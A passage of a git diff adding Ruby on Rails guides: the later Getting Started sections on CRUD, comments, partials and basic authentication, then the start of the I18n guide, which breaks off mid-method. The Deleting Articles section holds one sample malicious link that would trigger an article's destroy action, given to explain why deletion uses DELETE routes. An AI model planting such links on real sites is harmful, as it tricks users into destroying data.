+`@article.errors.any?` would throw an error.
+
+TIP: Rails automatically wraps fields that contain an error with a div
+with class `field_with_errors`. You can define a css rule to make them
+standout.
+
+Now you'll get a nice error message when saving an article without title when
+you attempt to do just that on the new article form
+[(http://localhost:3000/articles/new)](http://localhost:3000/articles/new).
+
+![Form With Errors](images/getting_started/form_with_errors.png)
+
+### Updating Articles
+
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
+articles.
+
+The first step we'll take is adding an `edit` action to the `ArticlesController`.
+
+```ruby
+def edit
+  @article = Article.find(params[:id])
+end
+```
+
+The view will contain a form similar to the one we used when creating
+new articles. Create a file called `app/views/articles/edit.html.erb` and make
+it look as follows:
+
+```html+erb
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+This time we point the form to the `update` action, which is not defined yet
+but will be very soon.
+
+The `method: :patch` option tells Rails that we want this form to be submitted
+via the `PATCH` HTTP method which is the HTTP method you're expected to use to
+**update** resources according to the REST protocol.
+
+The first parameter of `form_for` can be an object, say, `@article` which would
+cause the helper to fill in the form with the fields of the object. Passing in a
+symbol (`:article`) with the same name as the instance variable (`@article`) also
+automagically leads to the same behavior. This is what is happening here. More details
+can be found in [form_for documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
+
+Next we need to create the `update` action in
+`app/controllers/articles_controller.rb`:
+
+```ruby
+def update
+  @article = Article.find(params[:id])
+
+  if @article.update(article_params)
+    redirect_to @article
+  else
+    render 'edit'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+The new method, `update`, is used when you want to update a record
+that already exists, and it accepts a hash containing the attributes
+that you want to update. As before, if there was an error updating the
+article we want to show the form back to the user.
+
+We reuse the `article_params` method that we defined earlier for the create
+action.
+
+TIP: You don't need to pass all attributes to `update`. For
+example, if you'd call `@article.update(title: 'A new title')`
+Rails would only update the `title` attribute, leaving all other
+attributes untouched.
+
+Finally, we want to show a link to the `edit` action in the list of all the
+articles, so let's add that now to `app/views/articles/index.html.erb` to make
+it appear next to the "Show" link:
+
+```html+erb
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="2"></th>
+  </tr>
+
+<% @articles.each do |article| %>
+  <tr>
+    <td><%= article.title %></td>
+    <td><%= article.text %></td>
+    <td><%= link_to 'Show', article_path(article) %></td>
+    <td><%= link_to 'Edit', edit_article_path(article) %></td>
+  </tr>
+<% end %>
+</table>
+```
+
+And we'll also add one to the `app/views/articles/show.html.erb` template as
+well, so that there's also an "Edit" link on an article's page. Add this at the
+bottom of the template:
+
+```html+erb
+...
+
+<%= link_to 'Back', articles_path %>
+| <%= link_to 'Edit', edit_article_path(@article) %>
+```
+
+And here's how our app looks so far:
+
+![Index action with edit link](images/getting_started/index_action_with_edit_link.png)
+
+### Using partials to clean up duplication in views
+
+Our `edit` page looks very similar to the `new` page, in fact they
+both share the same code for displaying the form. Let's remove some duplication
+by using a view partial. By convention, partial files are prefixed by an
+underscore.
+
+TIP: You can read more about partials in the
+[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+
+Create a new file `app/views/articles/_form.html.erb` with the following
+content:
+
+```html+erb
+<%= form_for @article do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+```
+
+Everything except for the `form_for` declaration remained the same.
+The reason we can use this shorter, simpler `form_for` declaration
+to stand in for either of the other forms is that `@article` is a *resource*
+corresponding to a full set of RESTful routes, and Rails is able to infer
+which URI and method to use.
+For more information about this use of `form_for`, see
+[Resource-oriented style](//api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+
+Now, let's update the `app/views/articles/new.html.erb` view to use this new
+partial, rewriting it completely:
+
+```html+erb
+<h1>New article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+Then do the same for the `app/views/articles/edit.html.erb` view:
+
+```html+erb
+<h1>Edit article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+### Deleting Articles
+
+We're now ready to cover the "D" part of CRUD, deleting articles from the
+database. Following the REST convention, the route for
+deleting articles as per output of `rake routes` is:
+
+```ruby
+DELETE /articles/:id(.:format)      articles#destroy
+```
+
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
+people to craft malicious URLs like this:
+
+```html
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
+```
+
+We use the `delete` method for destroying resources, and this route is mapped to
+the `destroy` action inside `app/controllers/articles_controller.rb`, which
+doesn't exist yet, but is provided below:
+
+```ruby
+def destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+```
+
+You can call `destroy` on Active Record objects when you want to delete
+them from the database. Note that we don't need to add a view for this
+action since we're redirecting to the `index` action.
+
+Finally, add a 'Destroy' link to your `index` action template
+(`app/views/articles/index.html.erb`) to wrap everything
+together.
+
+```html+erb
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="3"></th>
+  </tr>
+
+<% @articles.each do |article| %>
+  <tr>
+    <td><%= article.title %></td>
+    <td><%= article.text %></td>
+    <td><%= link_to 'Show', article_path(article) %></td>
+    <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    <td><%= link_to 'Destroy', article_path(article),
+                    method: :delete, data: { confirm: 'Are you sure?' } %></td>
+  </tr>
+<% end %>
+</table>
+```
+
+Here we're using `link_to` in a different way. We pass the named route as the
+second argument, and then the options as another argument. The `:method` and
+`:'data-confirm'` options are used as HTML5 attributes so that when the link is
+clicked, Rails will first show a confirm dialog to the user, and then submit the
+link with method `delete`.  This is done via the JavaScript file `jquery_ujs`
+which is automatically included into your application's layout
+(`app/views/layouts/application.html.erb`) when you generated the application.
+Without this file, the confirmation dialog box wouldn't appear.
+
+![Confirm Dialog](images/getting_started/confirm_dialog.png)
+
+Congratulations, you can now create, show, list, update and destroy
+articles.
+
+TIP: In general, Rails encourages the use of resources objects in place
+of declaring routes manually.
+For more information about routing, see
+[Rails Routing from the Outside In](routing.html).
+
+Adding a Second Model
+---------------------
+
+It's time to add a second model to the application. The second model will handle
+comments on articles.
+
+### Generating a Model
+
+We're going to see the same generator that we used before when creating
+the `Article` model. This time we'll create a `Comment` model to hold
+reference of article comments. Run this command in your terminal:
+
+```bash
+$ bin/rails generate model Comment commenter:string body:text article:references
+```
+
+This command will generate four files:
+
+| File                                         | Purpose                                                                                                |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb                        | The Comment model                                                                                      |
+| test/models/comment_test.rb                  | Testing harness for the comments model                                                                 |
+| test/fixtures/comments.yml                   | Sample comments for use in testing                                                                     |
+
+First, take a look at `app/models/comment.rb`:
+
+```ruby
+class Comment < ActiveRecord::Base
+  belongs_to :article
+end
+```
+
+This is very similar to the `Article` model that you saw earlier. The difference
+is the line `belongs_to :article`, which sets up an Active Record _association_.
+You'll learn a little about associations in the next section of this guide.
+
+In addition to the model, Rails has also made a migration to create the
+corresponding database table:
+
+```ruby
+class CreateComments < ActiveRecord::Migration
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+
+      # this line adds an integer column called `article_id`.
+      t.references :article, index: true
+
+      t.timestamps
+    end
+  end
+end
+```
+
+The `t.references` line sets up a foreign key column for the association between
+the two models. An index for this association is also created on this column.
+Go ahead and run the migration:
+
+```bash
+$ bin/rake db:migrate
+```
+
+Rails is smart enough to only execute the migrations that have not already been
+run against the current database, so in this case you will just see:
+
+```bash
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0115s
+==  CreateComments: migrated (0.0119s) ========================================
+```
+
+### Associating Models
+
+Active Record associations let you easily declare the relationship between two
+models. In the case of comments and articles, you could write out the
+relationships this way:
+
+* Each comment belongs to one article.
+* One article can have many comments.
+
+In fact, this is very close to the syntax that Rails uses to declare this
+association. You've already seen the line of code inside the `Comment` model
+(app/models/comment.rb) that makes each comment belong to an Article:
+
+```ruby
+class Comment < ActiveRecord::Base
+  belongs_to :article
+end
+```
+
+You'll need to edit `app/models/article.rb` to add the other side of the
+association:
+
+```ruby
+class Article < ActiveRecord::Base
+  has_many :comments
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+These two declarations enable a good bit of automatic behavior. For example, if
+you have an instance variable `@article` containing an article, you can retrieve
+all the comments belonging to that article as an array using
+`@article.comments`.
+
+TIP: For more information on Active Record associations, see the [Active Record
+Associations](association_basics.html) guide.
+
+### Adding a Route for Comments
+
+As with the `welcome` controller, we will need to add a route so that Rails
+knows where we would like to navigate to see `comments`. Open up the
+`config/routes.rb` file again, and edit it as follows:
+
+```ruby
+resources :articles do
+  resources :comments
+end
+```
+
+This creates `comments` as a _nested resource_ within `articles`. This is
+another part of capturing the hierarchical relationship that exists between
+articles and comments.
+
+TIP: For more information on routing, see the [Rails Routing](routing.html)
+guide.
+
+### Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching
+controller. Again, we'll use the same generator we used before:
+
+```bash
+$ bin/rails generate controller Comments
+```
+
+This creates six files and one empty directory:
+
+| File/Directory                               | Purpose                                  |
+| -------------------------------------------- | ---------------------------------------- |
+| app/controllers/comments_controller.rb       | The Comments controller                  |
+| app/views/comments/                          | Views of the controller are stored here  |
+| test/controllers/comments_controller_test.rb | The test for the controller              |
+| app/helpers/comments_helper.rb               | A view helper file                       |
+| test/helpers/comments_helper_test.rb         | The test for the helper                  |
+| app/assets/javascripts/comment.js.coffee     | CoffeeScript for the controller          |
+| app/assets/stylesheets/comment.css.scss      | Cascading style sheet for the controller |
+
+Like with any blog, our readers will create their comments directly after
+reading the article, and once they have added their comment, will be sent back
+to the article show page to see their comment now listed. Due to this, our
+`CommentsController` is there to provide a method to create comments and delete
+spam comments when they arrive.
+
+So first, we'll wire up the Article show template
+(`app/views/articles/show.html.erb`) to let us make a new comment:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+| <%= link_to 'Edit', edit_article_path(@article) %>
+```
+
+This adds a form on the `Article` show page that creates a new comment by
+calling the `CommentsController` `create` action. The `form_for` call here uses
+an array, which will build a nested route, such as `/articles/1/comments`.
+
+Let's wire up the `create` in `app/controllers/comments_controller.rb`:
+
+```ruby
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+```
+
+You'll see a bit more complexity here than you did in the controller for
+articles. That's a side-effect of the nesting that you've set up. Each request
+for a comment has to keep track of the article to which the comment is attached,
+thus the initial call to the `find` method of the `Article` model to get the
+article in question.
+
+In addition, the code takes advantage of some of the methods available for an
+association. We use the `create` method on `@article.comments` to create and
+save the comment. This will automatically link the comment so that it belongs to
+that particular article.
+
+Once we have made the new comment, we send the user back to the original article
+using the `article_path(@article)` helper. As we have already seen, this calls
+the `show` action of the `ArticlesController` which in turn renders the
+`show.html.erb` template. This is where we want the comment to show, so let's
+add that to the `app/views/articles/show.html.erb`.
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<% @article.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+```
+
+Now you can add articles and comments to your blog and have them show up in the
+right places.
+
+![Article with Comments](images/getting_started/article_with_comments.png)
+
+Refactoring
+-----------
+
+Now that we have articles and comments working, take a look at the
+`app/views/articles/show.html.erb` template. It is getting long and awkward. We
+can use partials to clean it up.
+
+### Rendering Partial Collections
+
+First, we will make a comment partial to extract showing all the comments for
+the article. Create the file `app/views/comments/_comment.html.erb` and put the
+following into it:
+
+```html+erb
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+```
+
+Then you can change `app/views/articles/show.html.erb` to look like the
+following:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+```
+
+This will now render the partial in `app/views/comments/_comment.html.erb` once
+for each comment that is in the `@article.comments` collection. As the `render`
+method iterates over the `@article.comments` collection, it assigns each
+comment to a local variable named the same as the partial, in this case
+`comment` which is then available in the partial for us to show.
+
+### Rendering a Partial Form
+
+Let us also move that new comment section out to its own partial. Again, you
+create a file `app/views/comments/_form.html.erb` containing:
+
+```html+erb
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+```
+
+Then you make the `app/views/articles/show.html.erb` look like the following:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+```
+
+The second render just defines the partial template we want to render,
+`comments/form`. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the `_form.html.erb` file in
+the `app/views/comments` directory.
+
+The `@article` object is available to any partials rendered in the view because
+we defined it as an instance variable.
+
+Deleting Comments
+-----------------
+
+Another important feature of a blog is being able to delete spam comments. To do
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
+
+So first, let's add the delete link in the
+`app/views/comments/_comment.html.erb` partial:
+
+```html+erb
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.article, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
+```
+
+Clicking this new "Destroy Comment" link will fire off a `DELETE
+/articles/:article_id/comments/:id` to our `CommentsController`, which can then
+use this to find the comment we want to delete, so let's add a `destroy` action
+to our controller (`app/controllers/comments_controller.rb`):
+
+```ruby
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  def destroy
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
+    @comment.destroy
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+```
+
+The `destroy` action will find the article we are looking at, locate the comment
+within the `@article.comments` collection, and then remove it from the
+database and send us back to the show action for the article.
+
+
+### Deleting Associated Objects
+
+If you delete an article then its associated comments will also need to be
+deleted. Otherwise they would simply occupy space in the database. Rails allows
+you to use the `dependent` option of an association to achieve this. Modify the
+Article model, `app/models/article.rb`, as follows:
+
+```ruby
+class Article < ActiveRecord::Base
+  has_many :comments, dependent: :destroy
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+Security
+--------
+
+### Basic Authentication
+
+If you were to publish your blog online, anybody would be able to add, edit and
+delete articles or delete comments.
+
+Rails provides a very simple HTTP authentication system that will work nicely in
+this situation.
+
+In the `ArticlesController` we need to have a way to block access to the various
+actions if the person is not authenticated, here we can use the Rails
+`http_basic_authenticate_with` method, allowing access to the requested
+action if that method allows it.
+
+To use the authentication system, we specify it at the top of our
+`ArticlesController`, in this case, we want the user to be authenticated on
+every action, except for `index` and `show`, so we write that in
+`app/controllers/articles_controller.rb`:
+
+```ruby
+class ArticlesController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @articles = Article.all
+  end
+
+  # snipped for brevity
+```
+
+We also want to allow only authenticated users to delete comments, so in the
+`CommentsController` (`app/controllers/comments_controller.rb`) we write:
+
+```ruby
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @article = Article.find(params[:article_id])
+    ...
+  end
+
+  # snipped for brevity
+```
+
+Now if you try to create a new article, you will be greeted with a basic HTTP
+Authentication challenge
+
+![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
+
+Other authentication methods are available for Rails applications. Two popular
+authentication add-ons for Rails are the
+[Devise](https://github.com/plataformatec/devise) rails engine and
+the [Authlogic](https://github.com/binarylogic/authlogic) gem,
+along with a number of others.
+
+
+### Other Security Considerations
+
+Security, especially in web applications, is a broad and detailed area. Security
+in your Rails application is covered in more depth in
+The [Ruby on Rails Security Guide](security.html)
+
+
+What's Next?
+------------
+
+Now that you've seen your first Rails application, you should feel free to
+update it and experiment on your own. But you don't have to do everything
+without help. As you need assistance getting up and running with Rails, feel
+free to consult these support resources:
+
+* The [Ruby on Rails guides](index.html)
+* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
+* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
+
+Rails also comes with built-in help that you can generate using the rake
+command-line utility:
+
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the
+  `doc/guides` folder of your application. Open `doc/guides/index.html` in your
+  web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for
+  Rails in the `doc/api` folder of your application. Open `doc/api/index.html`
+  in your web browser to explore the API documentation.
+
+TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake
+task you need to install the RedCloth gem. Add it to your `Gemfile` and run
+`bundle install` and you're ready to go.
+
+Configuration Gotchas
+---------------------
+
+The easiest way to work with Rails is to store all external data as UTF-8. If
+you don't, Ruby libraries and Rails will often be able to convert your native
+data into UTF-8, but this doesn't always work reliably, so you're better off
+ensuring that all external data is UTF-8.
+
+If you have made a mistake in this area, the most common symptom is a black
+diamond with a question mark inside appearing in the browser. Another common
+symptom is characters like "ü" appearing instead of "ü". Rails takes a number
+of internal steps to mitigate common causes of these problems that can be
+automatically detected and corrected. However, if you have external data that is
+not stored as UTF-8, it can occasionally result in these kinds of issues that
+cannot be automatically detected by Rails and corrected.
+
+Two very common sources of data that are not UTF-8:
+
+* Your text editor: Most text editors (such as TextMate), default to saving
+  files as UTF-8. If your text editor does not, this can result in special
+  characters that you enter in your templates (such as é) to appear as a diamond
+  with a question mark inside in the browser. This also applies to your i18n
+  translation files. Most editors that do not already default to UTF-8 (such as
+  some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
+  so.
+* Your database: Rails defaults to converting data from your database into UTF-8
+  at the boundary. However, if your database is not using UTF-8 internally, it
+  may not be able to store all characters that your users enter. For instance,
+  if your database is using Latin-1 internally, and your user enters a Russian,
+  Hebrew, or Japanese character, the data will be lost forever once it enters
+  the database. If possible, use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
new file mode 100644
index 0000000..570d3a4
--- /dev/null
+++ b/guides/source/i18n.md
@@ -0,0 +1,1043 @@
+Rails Internationalization (I18n) API
+=====================================
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.[^1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n.
+* Tell Rails where to find locale dictionaries.
+* Tell Rails how to set, preserve and switch locales.
+
+In the process of _localizing_ your application you'll probably want to do the following three things:
+
+* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere.
+
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
+
+After reading this guide, you will know:
+
+* How I18n works in Ruby on Rails
+* How to correctly use I18n into a RESTful application in various ways
+* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects
+* Some other tools to go further with the translation process of your application
+
+--------------------------------------------------------------------------------
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Ruby [I18n Wiki](http://ruby-i18n.org/wiki) for more information.
+
+How I18n in Ruby on Rails Works
+-------------------------------
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
+
+### The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework - a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
+
+### The Public I18n API
+
+The most important methods of the I18n API are:
+
+```ruby
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+```
+
+These have the aliases #t and #l so you can use them like this:
+
+```ruby
+I18n.t 'store.title'
+I18n.l Time.now
+```
+
+There are also attribute readers and writers for the following attributes:
+
+```ruby
+load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+```
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+Setup the Rails Application for Internationalization
+----------------------------------------------------
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+### Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.
+
+The default `en.yml` locale in this directory contains a sample pair of translation strings:
+
+```ruby
+en:
+  hello: "Hello world"
+```
+
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/ [...]
+
+The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
+
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such a [...]
+
+The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
+
+NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+
+```ruby
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+```
+
+### Optional: Custom I18n Configuration Setup
+
+For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too.
+
+To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
+
+```ruby
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+```
+
+### Setting and Passing the Locale
+
+If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.
+
+However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
+
+WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful ap [...]
+
+The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+```
+
+This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and relo [...]
+
+Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.
+
+### Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL.
+* People intuitively grasp in which language the content will be displayed.
+* It is very trivial to implement in Rails.
+* Search engines seem to like that content in different languages lives at different, inter-linked domains.
+
+You can implement it like this in your `ApplicationController`:
+
+```ruby
+before_action :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+```
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+```ruby
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
